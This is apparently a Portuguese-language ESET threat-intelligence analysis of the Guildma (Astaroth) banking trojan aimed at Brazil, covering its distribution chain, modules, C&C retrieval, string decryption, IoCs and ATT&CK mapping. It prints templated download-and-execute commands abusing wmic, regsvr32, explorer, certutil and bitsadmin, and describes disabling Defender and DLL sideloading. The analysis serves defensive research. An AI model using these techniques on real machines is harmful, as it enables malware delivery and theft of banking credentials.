Desta vez, analisaremos o Guildma (também conhecido como Astaroth, um poderoso demônio), um trojan bancário latino-americano de alta prevalência. Este trojan, escrito em Delphi, que está direcionado aos usuários do Brasil, possui algumas técnicas inovadoras de execução e ataque. Nesta publicação, descreveremos a versão mais recente deste trojan, destacando as mudanças mais importantes feitas desde meados de 2019, quando vários artigos sobre Guildma foram publicados após a maior campanha até agora.
Recursos do Guildma
Guildma é um trojan bancário que direciona suas campanhas exclusivamente para o Brasil. De acordo com dados de nossa telemetria (e também devido à repercursão pública que recebeu), acreditamos que a ameaça se trata do trojan bancário mais impressionante e avançado da região. Além de estar direcionado a instituições financeiras, Guildma também tenta roubar credenciais de contas de e-mail, lojas on-line e serviços de streaming, e afeta várias vítimas dez vezes mais do que qualquer outro trojan bancário já descrito em nossa série sobre trojans bancários da América Latina. A ameaça também usa métodos de execução inovadores e técnicas sofisticadas de ataque.
Ao contrário dos outros trojans bancários que descrevemos nas publicações anteriores desta série, Guildma não armazena as janelas pop-up falsas que ele usa dentro do binário. Em vez disso, o ataque é orquestrado pelo servidor C&C. Isso dá aos criadores da ameaça maior flexibilidade para reagir às contramedidas implementadas pelos bancos selecionados.
O Guildma implementa as seguintes funcionalidades de backdoor:
- Produz screenshots
- Grava pressionamentos de tecla
- Emula teclado e mouse
- Bloqueia atalhos de teclado (como desativar Alt + F4 para dificultar a eliminação das janelas falsas que podem ser exibidas)
- Baixa e executa arquivos
- Reinicializa a máquina
Guildma é muito modular. Até o momento de produção deste post, a ameaça contava com 10 módulos, sem incluir as etapas da cadeia de distribuição. A funcionalidade dos módulos individuais será discutida mais adiante.
Evolução das cadeias de distribuição
De acordo com dados de nossa telemetria, Guildma se propaga exclusivamente por e-mails de spam que incluem anexos maliciosos. Abaixo, compartilhamos alguns exemplos de uma campanha de meados de novembro de 2019.
Uma das características típicas das cadeias de distribuição do Guildma é usar ferramentas já presentes no sistema, geralmente de maneira nova e incomum.
Outra característica é a reutilização de técnicas. Embora a ameaça conte com novas técnicas de tempos em tempos, em geral os desenvolvedores parecem simplesmente reutilizar técnicas de versões anteriores.
A Figura 5 mostra a cadeia de distribuição da versão 150, mas a estrutura das cadeias de distribuição do Guildma é muito dinâmica. Por exemplo, nas versões anteriores, o arquivo LNK malicioso mostrado na Figura 5 não foi incorporado em um arquivo ZIP, ou usou um arquivo SFX RAR contendo um instalador MSI. Além disso, ele costumava contar com outro estágio JScript cujo único objetivo era fazer o download e executar o estágio final do JScript. Resumindo, há muitas alterações que foram feitas para comentar todas elas neste artigo. De fato, a única parte que permaneceu praticamente a mesma é o estágio final do JScript.
Usando os dados coletados do amplo monitoramento que fizemos dessa família, compilamos uma imagem muito boa da atividade do Guildma.
A Figura 6 mostra todas as detecções da ESET do componente do primeiro estágio do Guildma. Como você pode ver, as campanhas cresceram lentamente até a chegada de uma campanha massiva em agosto de 2019, quando vimos até 50.000 amostras por dia. Esta campanha continuou por quase dois meses e significou mais que o dobro do número de detecções que vimos nos 10 meses anteriores.
A seguir, apresentamos um resumo de algumas das técnicas mais interessantes usadas nos últimos 14 meses.
Execução do estágio JScript
No ano passado, Guildma usou vários métodos para executar os estágios JScript de sua cadeia de distribuição. No final de 2018, Guildma estava ocultando seu código em arquivos eXtensible Stylesheet Language (.xsl) e usando o wmic.exe para fazer o download e executá-los:
wmic.exe <wmic query> /format:"<URL>"
Ele então passou a usar regsvr32.exe e scrobj.dll para baixar um objeto COM implementado com JScript e executar sua rotina de registro (que continha o código malicioso):
regsvr32.exe /s /n /u /i:<URL> scrobj.dll
Mais recentemente, os criadores começaram a se aproveitar do Windows Explorer para executar o estágio JScript. Este ataque depende do fato do Windows Explorer tentar abrir qualquer arquivo passado para ele na linha de comando com o programa associado e o fato de que a associação padrão para arquivos .js é o Microsoft Windows Script Host. O "script" passado para o Windows Explorer é um único comando cujo objetivo é baixar e executar o estágio JScript real:
echo GetObject('script:<URL>') > <file>.js | explorer.exe <random switches> <file>.js
Execução de módulos binários
Os métodos para executar módulos PE não são menos diversos.
Quando começamos a rastrear Guildma, a ameaça se aproveitou do aswRunDll.exe da Avast para iniciar o primeiro estágio binário, com o regsvr32.exe como um failover em computadores nos quais os produtos Avast não estavam instalados. O uso do aswRunDll.exe foi removido, deixando o regsvr32.exe como o único método de execução. Após um breve período em que ele usou o rundll32.exe, Guildma mudou para seu método atual de execução: ExtExport.exe.
O ExtExport.exe é um componente não documentado do Microsoft Internet Explorer usado para exportar indicadores do Mozilla Firefox e do 360 Secure Browser, e pode ser abusado no carregamento lateral da DLL. Quando o seguinte comando é executado, mozcrt19.dll, mozsqlite3.dll e sqlite3.dll são carregados da pasta especificada na linha de comando:
C:\Program Files\Internet Explorer\ExtExport.exe <folder> <dummy 1> <dummy 2>
Para se aproveitar disso, a ameaça normalmente descarta a DLL para carregá-la como um dos arquivos mencionados acima. Guildma usa todos os três.
Download dos módulos binários
O Guildma também usou algumas maneiras diferentes de baixar os módulos binários. A primeira versão estava usando o exe copiado para o certis.exe (presumivelmente para evitar a detecção):
certis.exe -urlcache -split -f "<URL>" "<destination path>"
Os criadores da ameaça mudaram para o BITSAdmin, a ferramenta de administração do Background Intelligent Transfer Service da Microsoft e ainda a estão usando (pelo menos até o momento da produção deste post):
bitsadmin.exe /transfer <random number> /priority foreground <URL> <destination>
Por alguns meses, os módulos binários foram codificados em base64 e hospedados no Google Cloud. Naquela época, o Guildma estava usando o BITSAdmin e o certutil - BITSAdmin para baixar os módulos e o certutil para decodificá-los.
Outras mudanças
Guildma usa nomes estranhos e não descritivos de variáveis e funções. Quando começamos a rastrear Guildma, os nomes, embora sem sentido, eram claramente criados pelo homem (por exemplo, "radar" para a função de número aleatório ou "Bxaki" para a função de download). Em junho de 2019, todos foram alterados para nomes de aparência aleatória (por exemplo, "bx021" e "mrc430"). A princípio, pensamos que os criadores implementaram algum tipo de ofuscador automático de script, mas acabou sendo uma mudança única e os nomes permaneceram os mesmos desde então.
Uma adição relativamente nova é a antiga técnica de uso do ADS (Alternate Data Streams) para armazenar módulos binários. Todos os módulos agora são armazenados como ADS de arquivo único (por exemplo, "desktop.ini: nauwuygiaa.jpg", "desktop.ini: nauwuygiab.jpg" etc.).
Histórico de versões
Aparentemente, o Guildma passou por muitas versões durante seu desenvolvimento, mas geralmente houve pouco desenvolvimento entre as versões, devido à sua arquitetura pesada que usa valores de configuração codificados, os criadores devem coletar todos os binários para cada nova campanha. Um trabalho que claramente não é totalmente automatizado, pois muitas vezes houve um atraso significativo entre a atualização do número da versão em scripts e binários.
Neste artigo, abordamos a versão 150, mas desde que começamos a escrever este post, mais duas versões foram lançadas. Estas versões não contam com alterações substanciais na funcionalidade ou distribuição, o que suporta nossas alegações sobre o ciclo de desenvolvimento do Guildma.
O estágio final da cadeia de distribuição costumava conter um nome de versão (e mesmo antes disso, fazia o download desse nome junto com os módulos binários), mas foi (presumivelmente) permanentemente substituído por um simples "xXx" desde a versão 148 .
A Tabela 1 resume todas as versões lançadas desde que começamos a rastrear a Guildma ativamente em outubro de 2018. Observando as sequências de versões, temos a sensação de que o criador da ameaça é apaixonado por ecologia e carros velozes.
Tabela 1. Histórico de versões do Guildma.
First seen | Version number | Version name | Version prefix |
---|---|---|---|
2018-09-18 | 131 | 131_SUPER_Tesla | marxvxinhhm |
2018-10-31 | 132 | 132_ULTRA_Tesla | srsysddirrx |
2018-11-28 | 133 | 133_TORRE_DE_Tesla | mxgetronicosxy |
2018-11-29 | 134 | 134_MAXX_TESLAs | dwqiopawsamazon |
2018-12-03 | 135 | 135_MOAB_TESLAs | lu769tsla |
2018-12-13 | 136 | 136_KRAKEN_TESLAs | lrdsnhrxxfery |
2019-02-06 | 137 | 137_RAPTOR_TESLAs | rakpat0rpcack |
2019-03-21 | 138 | 138_RAPTOR_TESLAs_ | hillwd763free |
2019-05-20 | 139 | 139_TESLA_ | falxconxrenw |
2019-06-03 | 140 | 140_ASTH_ | valehraysystqx |
2019-06-24 | 141 | 141_T3SL4S_ | ayt3ese4xw |
2019-07-17 | 142 | 142_T3SL4S_ | halawxtz |
2019-08-09 | 143 | 143_T3SL4S_ | asmonnwqk |
2019-08-26 | 144 | 144_MULT1T3SL4S_ | daffsyshqy |
2019-09-26 | 145 | 145_MULT1T3SL4S_ | landoqeahjky |
2019-10-16 | 146 | 146_MULT1T3SL4S_ | valkanxpca |
2019-11-04 | 147 | 147_MULT1T3SL4S_ | koddsuffy |
2019-11-19 | 148 | xXx | lpquayevvt |
2019-11-22 | 149 | #rowspan# | nauwuygia |
2019-12-13 | 150 | #rowspan# | andrealfo |
2020-01-14 | 151 | #rowspan# | balberith |
2020-02-05 | 152 | #rowspan# | masihaddajjal |
Descrição do módulo
Como mencionado anteriormente, Guildma é muito modular. A estrutura de seus módulos parece ser quase sempre constante. Nesta publicação, descreveremos brevemente a funcionalidade de cada módulo.
Todos os nomes de módulos são compostos por: um prefixo compartilhado e dependente da versão e um sufixo específico do módulo. Na Tabela 2, o prefixo dependente da versão é andrealfo.
Tabela 2. Guildma module overview.
URL filename | Filesystem filename | Module |
---|---|---|
andrealfohh1a.dll.zip | andrealfo64.~ | Main module loader 1 (part 1) |
andrealfohh1b.dll.zip | #rowspan# | Main module loader 1 (part 2) |
andrealfoxa.gif.zip | andrealfoxa.gif | Main module injector (part 1) |
andrealfoxb.gif.zip | andrealfoxb.gif | Main module injector (part 2) |
andrealfoxc.gif.zip | andrealfoxc.gif | Main module injector (part 3) |
andrealfogx.gif.zip | andrealfogx.gif | Main module loader 2 |
andrealfog.gif.zip | andrealfog.gif | Main module |
andrealfoc.jpg.zip | andrealfoc.jpg | Contacts stealer and form grabber module |
andrealfodwwn.gif.zip | andrealfodwwn.gif | RAT module (DLL) |
andrealfodx.gif.zip | andrealfodx.gif | RAT module (EXE) |
andrealfoa.jpg.zip | andrealfoa.jpg | MailPassView |
andrealfob.jpg.zip | andrealfob.jpg | WebBrowserPassView |
andrealfoi.gif.zip | andrealfoi.gif | JScript dropper module |
Com exceção do módulo loader 1 (*64.~) e do módulo injetor principal (*xa.gif, *xb.gif e *xc.gif), todos os módulos são criptografados com criptografia XOR simples usando uma repetição Chave de 32 bytes. A chave é gerada a partir de uma seed de 32 bits usando o algoritmo mostrado na Figura 7. O valor do seed é ofuscado nos binários para evitar extração simples (consulte a Figura 8).
Três módulos se comunicam com um servidor C&C: o módulo principal, o módulo RAT e o módulo para roubar contatos e capturar formulários. A comunicação é feita através de HTTP(S) usando uma combinação de base64 e vários algoritmos de criptografia simples e personalizados para proteger os dados transferidos.
A seguir, descreveremos como obter o endereço do servidor C&C.
Módulo principal loader 1 (*64. ~)
Este é o primeiro estágio binário da cadeia. O arquivo é uma DLL baixada em duas partes concatenadas no estágio JScript anterior. Carrega os três arquivos que compõem o loader do próximo estágio (*xa.gif, *xb.gif e *xc.gif), concatene-os, atribue o arquivo PE resultante em seu próprio espaço de endereço e execute-o.
Realiza o upload de um arquivo PE é um processo relativamente complexo; portanto, os criadores da ameaça usaram a biblioteca de código aberto BTMemoryModule para esse fim.
Injetor do módulo principal (* xa.gif + * xb.gif + * xc.gif)
Este módulo carrega o próximo estágio (*gx.gif) do disco e o descriptografa. Em seguida, execute o primeiro executável existente na lista a seguir e injeta o payload descriptografado nele.
- C:\Program Files\AVAST Software\Avast\aswRunDll.exe
- C:\Program Files\Diebold\Warsaw\unins000.exe *
- C:\Windows\SysWOW64\userinit.exe
- C:\Windows\System32\userinit.exe
* Um aplicativo, popular no Brasil, para proteger o acesso ao banco ao home banking.
Módulo principal loader 2 (*gx.gif)
O último estágio do loader é muito simples e parece duplicar desnecessariamente a funcionalidade do módulo principal loader 1. Carrega e descriptografa o módulo principal (*g.gif), o mapeia em seu próprio espaço de memória e, em seguida, o executa.
Módulo principal (* g.gif)
O módulo principal do Guildma organiza todos os módulos restantes. Sua implementação é enganosamente complexa, usando inúmeros temporizadores e eventos, mas sua funcionalidade é relativamente simples. Ele contém código herdado que não é mais usado, bem como o código de pré-produção que ainda não está sendo usado.
Depois de carregado, este módulo verifica se está sendo executado em um ambiente sandbox (por exemplo, examinando o nome do computador e o ID do volume do disco do sistema), se há outras instâncias em execução (dependendo dos nomes das janelas) e se a configuração regional do sistema for diferente do português. Se esse processo provar que o sistema não é interessante ou que já foi comprometido pelo Guildma, o malware é desativado.
Caso contrário, o módulo coleta informações do sistema (nome do computador, qual antivírus está usando, quais programas foram instalados...) e estabelece contato com o servidor C&C. Em seguida, ele começa a monitorar eventos interessantes, principalmente quando determinados aplicativos são iniciados ou sites de home banking são abertos, e a executar determinadas ações (por exemplo: produzir capturas de tela, impedir que o usuário feche a janela interceptando atalhos de teclado, iniciar o Módulo RAT, etc.).
O módulo também implementa comandos de backdoor cuja funcionalidade se sobrepõe amplamente ao módulo RAT.
Ladrão de contatos e grabber de formulários (*c.jpg)
Este módulo possui duas funções: coletar endereços de e-mail e dados de formulários de páginas web.
Os endereços de e-mail são obtidos dos clientes de e-mail da área de trabalho (como Microsoft Outlook, ThunderBird e The Bat!) analisando seus próprios catálogos de endereços e e-mails.
O grabber de formulário usa a tecnologia do Windows COM para interagir com o Internet Explorer. Ele aguarda até que um site específico seja aberto (principalmente serviços de e-mails brasileiros, lojas eletrônicas e gateways de pagamento) e feche a sessão do usuário, forçando a vítima a inserir suas credenciais. Em seguida, recupera o DOM e procura por valores importantes do campo de entrada (como nomes de usuário, senhas e números de cartão de crédito).
Módulo RAT (*dwwn.gif, *dx.gif)
O módulo RAT vem em duas compilações funcionalmente idênticas: DLL (*dwwn.gif) e EXE (*.dx.gif).
O módulo RAT implementa a funcionalidade de download e execução, pode produzir capturas de tela, emular ações de teclado e mouse, e reiniciar o computador.
A maioria dos trojans bancários na América Latina exibe pop-ups falsos com base no monitoramento do nome da janela ativa. Estas janelas são geralmente armazenadas no binário. Não encontramos esse código no Guildma, mas o módulo RAT contém um formulário Delphi que implementa um navegador web simples. Como também é executado de acordo com o nome da janela ativa, acreditamos que este formulário seja usado para exibir diálogos falsos ao usuário.
MailPassView (*a.jpg) e BrowserPassView (*b.jpg)
Essas são ferramentas gratuitas do Nirsoft para extrair credenciais salvas de clientes de e-mail populares e navegadores web. Como nas versões recentes a Nirsoft removeu o suporte a determinadas operações (output para arquivo, sem GUI) para interromper o abuso dessas ferramentas por malware, os criadores do Guildma estão usando versões anteriores que tinham esses recursos. O Mispadu também tira proveito das mesmas ferramentas, exceto que o Mispadu esteja usando versões mais recentes de patches para dar suporte a essas operações.
Módulo dropper do JScript (*i.gif)
Este módulo descarta e executa (usando cscript.exe) um arquivo JScript. O script consiste em duas partes: a primeira parte é armazenada como uma cadeia longa criptografada, enquanto a segunda parte é montada a partir de várias cadeias curtas (algumas criptografadas e outras em texto sem formatação).
O script executa as seguintes ações:
• Desabilita o UAC
• Desativa a verificação de assinatura EXE
• Desativa o Windows Defender
• Cria uma regra de firewall que desativa o acesso à rede paraC:\Program Files\AVAST Software\Avast\Setup\avast.setup
• Desabilita o driver wsddntf (Diebold Warsaw GAS Tecnologia - o software de proteção de acesso ao banco apresentado acima)
• Adiciona uma exceção de firewall para arquivos usados como destinos de injeção:
- C:\Program Files\Diebold\Warsaw\unins000.exe
- C:\Program Files\AVAST Software\Avast\aswRunDll.exe
Acreditamos que esse módulo ainda esteja em desenvolvimento, pois nunca observamos o droppeado de scripts em nossas máquinas de teste.
Novos desenvolvimentos (desde meados de 2019)
Nova recuperação de C&C
Na versão 142 foi implementada uma nova maneira de distribuir servidores C&C abusando dos perfis do YouTube e do Facebook. No entanto, os criadores pararam de usar o Facebook quase que imediatamente, mas no momento da produção deste post, o YouTube já tinha resgatado a confiança. Isso é bem semelhante ao Casbaneiro, embora um pouco mais bruto. Enquanto o Casbaneiro escondeu os dados nas descrições dos vídeos e os ofuscou como parte de uma URL, Guildma simplesmente coloca os dados na descrição do canal. O início e o fim dos endereços C&C criptografados são delimitados por "|||". Os dados intermediários são codificados e criptografados em base64 usando o algoritmo de criptografia de cadeia Mispadu. Agora este é o principal método para recuperar servidores C&C. O método anterior (descrito pelo Avast) ainda está presente como um backup.
Módulos adicionados e removidos
O módulo dropper JScript descrito acima foi adicionado na versão 145. Pelo contrário, na versão 139, Guildma removeu dois outros módulos presentes nas versões anteriores: e-mail em massa (*f.jpg) e seu loader (*e.jpg ). Nas versões a seguir, esses módulos ainda estavam acessíveis com os nomes esperados (<versão prefix> e.jpg e <versão prefix> f.jpg) do mesmo servidor que os outros módulos. Isso nos leva a crer que esses módulos ainda estão em desenvolvimento, mas agora são distribuídos apenas conforme necessário, presumivelmente usando o comando backdoor de download e execução.
Nova criptografia de strings
O módulo dropper do JScript trouxe um novo algoritmo de criptografia de strings. Uma variante desse algoritmo (mostrada na Figura 10) foi propagada para outros módulos na versão 147.
def decrypt ( ct, key ):
# stage 1
ct = unhexlify ( ct );
last = ct [ 0 ];
s = bytearray ( ct [ 1 : ] );
for i in range ( len ( s ) ):
x = s [ i ] ^ key [ i % len ( key ) ];
if last > x:
x += 0xff;
x -= last;
last = s [ i ];
s [ i ] = x;
# stage 2 - reverse string
s = s [::-1];
# stage 3 - c = not ( c - 10 )
s = "" . join ( [ chr ( ( ~( c - 10 ) ) & 0xff ) for c in s ] );
# stage 4 - Base25 decode and key subtraction
k = ord ( s [ 0 ] ) - 65;
ot = "";
for i in range ( 1, len ( s ), 2 ):
ot += chr ( ( ord ( s [ i ] ) - 65 ) * 25 + ord ( s [ i + 1 ] ) - 65 - k - 100 );
return ot;
Figura 10. Novo algoritmo de criptografia de strings.
Originalmente, Guildma estava usando a mesma criptografia de string que Casbaneiro. O novo algoritmo possui quatro estágios e, como você pode ver, o algoritmo de criptografia de cadeia original ainda é usado como o primeiro estágio. Também vale a pena notar o fato de que o quarto estágio está usando o algoritmo de criptografia Mispadu novamente.
Na versão 148, Guildma implementou uma tabela de strings. Todas as strings são descriptografadas no início da execução e acessadas da tabela quando necessário.
Eliminação de alvos internacionais
Na versão 138, Guildma acrescentou a capacidade de atingir instituições (principalmente bancos) fora do Brasil. Apesar disso, não observamos campanhas internacionais. As campanhas que hospedam arquivos na infraestrutura do Cloudflare Workers até bloquearam todos os downloads provenientes de IPs não brasileiras. De fato, nos últimos 14 meses, não vimos nenhuma campanha direcionada a usuários fora do Brasil.
Finalmente, na versão 145, a capacidade de atingir instituições fora do Brasil foi eliminada. Com base nesses fatos, acreditamos que era simplesmente um recurso em desenvolvimento que acabou sendo descartado.
Conclusão
Nesta parte da série, falamos sobre o Guildma. Mostramos seu rico desenvolvimento histórico enquanto focamos na variante mais recente.
O Guildma compartilha novamente as características predominantes dos trojans bancários da América Latina. Está escrito em Delphi, aponta para a região, implementa a funcionalidade backdoor, divide sua funcionalidade em muitos módulos e se aproveita de ferramentas legítimas.
O Guildma também compartilha características com outras famílias que discutimos anteriormente como parte desta série sobre trojans bancários na América Latina. Ou seja, seu algoritmo de criptografia atual combina os usados por Casbaneiro e Mispadu.
Em caso de dúvidas, escreva para ameaintel@eset.com. Os indicadores de comprometimento também podem ser encontrados no repositório GitHub.
Indicadores de Comprometimento (IoCs)
Hashes
SHA-1 | Description | ESET Detection name |
---|---|---|
45c58bc40768dce6a6c611e08fd34c62441aa776 | Main module loader 1 | Win32/Spy.Guildma.BM |
861f20b0dcc55f94b4c43e4a7e77f042c21506cf | Main module injector | Win32/Spy.Guildma.BJ |
37fd19b1ab1dcc25e07bc96d4c02d81cf4edb8a1 | Main module loader 2 | Win32/Spy.Guildma.Q |
a7b10b8de2b0ef898cff31fa2d9d5cbaae2e9d0d | Main module | Win32/Spy.Guildma.BS |
4f65736a9d6b94b376c58b3cdcb49bbd295cd8cc | Contacts stealer and form grabber | Win32/Spy.Guildma.D |
6c9304c5862d4e0de1c86d7ae3764f5e8358daff | RAT module (DLL) | Win32/Spy.Guildma.BR |
89fbffe456de850f7abf4f97d3b9da4bad6afb57 | RAT module (EXE) | Win32/Spy.Guildma.BR |
af0d495ecc3622b14a40ddcd8005873c5ddc3a2d | MailPassView | Win32/PSWTool.MailPassView.E |
92bcf54079cbba04f584eac4486473c3abdd88cd | WebBrowserPassView | Win32/PSWTool.WebBrowserPassView.E |
a2048f435f076988bf094274192a196216d75a5f | JScript dropper module | Win32/Spy.Guildma.BP |
Nomes de arquivos
C:\Users\Public\Libraries\qlanl\*
Link de início
- Localização
%APPDATA%\Microsoft\Programs\StartUp\reiast%USERNAME%%COMPUTERNAME%.lnk
- Alvos
C:\Program Files (x86)\Internet Explorer\ExtExport.exe
C:\Program Files\Internet Explorer\ExtExport.exe
- Args
<install dir> <rand> <rand>
(where <rand> is a random, 5 to 9 character long string generated from the alphabet qwertyuiop1lgfdsas2dfghj3zcvbnmm)
Servidores C&C
- https://www.zvatrswtsrw[.]ml
- https://xskcjzamlkxwo[.]gq
- https://www.vhguyeu[.]ml
- https://www.carnataldez[.]ml
- https://www.movbmog[.]ga
- https://iuiuytrytrewrqw[.]gq
- https://www.gucinowertr[.]tk
- https://equilibrios[.]ga
- https://www.clooinfor[.]cf
- https://ambirsr[.]tk
- https://dbuhcbudyu[.]tk
- https://nvfjvtntt[.]cf
- http://whia7g.acquafufheirybveru[.]online
Técnicas de MITRE ATT&CK
Tactic | ID | Name | Description |
---|---|---|---|
Initial Access | T1193 | Spearphishing Attachment | Guildma distribution chains start with a malicious email attachment. |
Execution | T1073 | Rundll32 | Guildma utilizes rundll32.exe to execute its binary modules. |
T1047 | Windows Management Instrumentation | Guildma abuses WMIC.exe to execute some of its distribution chain stages. | |
Persistence | T1060 | Registry Run Keys / Startup Folder | Guildma ensures persistence by creating a LNK file in the %STARTUP% folder. |
Defense Evasion | T1197 | BITS Jobs | BITSAdmin.exe is used to download binary modules. |
T1089 | Disabling Security Tools | Guildma disables Windows Defender. | |
T1140 | Deobfuscate/Decode Files or Information | The majority of Guildma modules need to be decrypted after downloading. | |
T1073 | DLL Side-Loading | Guildma abuses ExtExport.exe for DLL Side-Loading. | |
T1096 | NTFS File Attributes | Guildma utilizes ADS to hide its modules on disk. | |
T1055 | Process Injection | Guildma utilizes process injection when executing its modules. | |
T1064 | Scripting | Guildma implements its distribution chain stages in various scripting languages (mainly JScript). | |
T1220 | XSL Script Processing | Guildma utilizes XSL script(s) in its distribution chains. | |
Credential Access | T1081 | Credentials in Files | Guildma extracts credentials stored by web browsers and email clients in files. |
T1214 | Credentials in Registry | Guildma extracts credentials stored by web browsers and email clients in Windows Registry. | |
Discovery | T1083 | File and Directory Discovery | Guildma uses presence of certain files to determine whether banking and security tools are installed. |
T1010 | Application Window Discovery | Guildma uses window discovery to find and terminate older versions of itself and to detect when interesting programs (e.g. banking applications or web browsers) are running. | |
T1063 | Security Software Discovery | Guildma detects the presence of several security products. | |
T1082 | System Information Discovery | Guildma collects OS version and bitness, computer name and system locale. | |
T1497 | Virtualization/Sandbox Evasion | Guildma uses directory names, computer names, volume IDs, and existence of named objects to detect sandboxes and virtualized environments. | |
Collection | T1113 | Screen Capture | Guildma is capable of taking screenshots. |
Command and Control | T1024 | Custom Cryptographic Protocol | New C&C addresses are encrypted using custom encryption algorithms. |
Exfiltration | T1041 | Exfiltration Over Command and Control Channel | Guildma uploads screenshots and log files to the C&C server. |